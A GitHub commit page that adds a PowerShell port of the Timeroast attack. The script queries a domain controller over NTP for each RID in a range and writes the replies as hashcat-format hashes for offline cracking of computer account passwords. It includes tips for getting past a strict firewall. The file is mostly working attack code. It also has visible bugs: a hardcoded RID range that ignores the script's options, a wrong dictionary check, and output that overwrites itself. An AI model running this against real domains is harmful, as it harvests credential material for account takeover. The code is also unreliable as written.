Skip to content

Commit ad9cc3d

Browse files
antipaticoTomTervoort
authored andcommitted
First powershell version
This is a first version of a Powershell port of the timeroast attack script. It lacks some core functionality as the specification of custom RID ranges and the timeout parameter implementation. For the former, the implementation is not as trivial as the Python one, since even if the default Powershell argument parser is really powerful, it does not support `num_ranges` variable types (AFAIK). For the latter, I did not bother to add the timeout before trying to fix the async problem described below. Finally, this version outputs its results only when the execution is finished while the Python one is an async implementation, meaning that the results will be out-putted "on the go". **Let op!** I am opening a merge request since GitHub is asking me to do so while creating the branch, feel free to close / ignore it.
1 parent 6562cdf commit ad9cc3d

File tree

1 file changed

+111
-0
lines changed

1 file changed

+111
-0
lines changed

timeroast/timeroast.ps1

Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
<#
2+
3+
.SYNOPSIS
4+
Performs an NTP 'Timeroast' attack against a domain controller.
5+
Outputs the resulting hashes in the hashcat format 31300 with the
6+
--username flag ("<RID>:$sntp-ms$<hash>$salt")
7+
8+
.DESCRIPTION
9+
Usernames within the hash file are user RIDs. In order to use a
10+
cracked password that does not contain the computer name, either
11+
look up the RID in AD (if you already have some account) or use
12+
a computer name list obtained via reverse DNS, service scanning,
13+
SMB NULL sessions, etc.
14+
15+
.PARAMETER domainController
16+
Hostname or IP address of a domain controller that acts as NTP
17+
server.
18+
19+
.PARAMETER outputFile
20+
Hash output file. Writes to stdout if omitted.
21+
22+
.PARAMETER relativeIds
23+
Comma-separated list of RIDs to try. Use hypens to specify
24+
(inclusive) ranges, e.g. "512-800,600-1400". By default, all
25+
possible RIDs will be tried until timeout.
26+
27+
.PARAMETER rate
28+
NP queries to execute second per second. Higher is faster, but
29+
with a greater risk of dropper datagrams, resulting in possibly
30+
incomplete results. Default: 180.
31+
32+
.PARAMETER timeout
33+
Quit after not receiving NTP responses for TIMEOUT seconds,
34+
possibly indicating that RID space has been exhausted.
35+
Default: 24.
36+
37+
.PARAMETER oldHashes
38+
Obtain hashes of the previous computer password instead of the
39+
current one.
40+
41+
.PARAMETER port
42+
NTP source port to use. A dynamic unprivileged port is chosen by default.
43+
Could be set to 123 to get around a strict firewall.
44+
45+
.NOTES
46+
Author of the powershell port: Jacopo (antipatico) Scannella
47+
48+
#>
49+
param(
50+
[Parameter(Mandatory=$true, Position=0)]
51+
[string]$domainController,
52+
53+
[string]$outputFile,
54+
[string]$relativeIDs,
55+
[Uint]$rate = 180,
56+
[Uint]$timeout = 24,
57+
[switch]$oldHashes,
58+
[Uint16]$port
59+
)
60+
61+
$NTP_PREFIX = [byte[]]@(0xdb,0x00,0x11,0xe9,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xe1,0xb8,0x40,0x7d,0xeb,0xc7,0xe5,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe1,0xb8,0x42,0x8b,0xff,0xbf,0xcd,0x0a)
62+
63+
$keyFlag = $oldHashes ? [Math]::Ceiling([Math]::Pow(2,31)) : 0
64+
$results = @{} # Dictionary
65+
66+
for ($rid = 999; $rid -le 1500; $rid++) {
67+
if ($port -eq 0) {
68+
$client = New-Object System.Net.Sockets.UdpClient
69+
} else {
70+
$client = New-Object System.Net.Sockets.UdpClient($port)
71+
}
72+
$client.Client.ReceiveTimeout = 1000/$rate
73+
$client.Connect($domainController, 123)
74+
$query = $NTP_PREFIX + [BitConverter]::GetBytes(($rid -bxor $keyFlag)) + [byte[]]::new(16)
75+
[void] $client.Send($query, $query.Length)
76+
77+
try {
78+
$reply = $client.Receive([ref]$null)
79+
80+
if ($reply.Length -eq 68) {
81+
$salt = [byte[]]$reply[0..47]
82+
$md5Hash = [byte[]]$reply[-16..-1]
83+
$answerRid = ([BitConverter]::ToUInt32($reply[-20..-16], 0) -bxor $keyFlag)
84+
85+
if($results.ContainsValue($answerRid)) {
86+
continue
87+
}
88+
$results[$answerRid] = [ValueTuple]::Create($salt, $md5Hash)
89+
}
90+
}
91+
catch [System.Management.Automation.MethodInvocationException] {
92+
# No response, timed-out
93+
}
94+
finally {
95+
$client.Close()
96+
}
97+
}
98+
99+
foreach($rid in $results.Keys) {
100+
$salt = $results[$rid][0]
101+
$md5Hash = $results[$rid][1]
102+
$hexSalt = [BitConverter]::ToString($salt).Replace("-", "").ToLower()
103+
$hexMd5Hash = [BitConverter]::ToString($md5Hash).Replace("-", "").ToLower()
104+
$hashcatHash = "{0}:`$sntp-ms`${1}`${2}" -f $rid, $hexSalt, $hexMd5Hash
105+
if ($outputFile) {
106+
Clear-Content $outputFile
107+
$hashcatHash | Out-File -Append -FilePath $outputFile
108+
} else {
109+
Write-Host $hashcatHash
110+
}
111+
}

0 commit comments

Comments
 (0)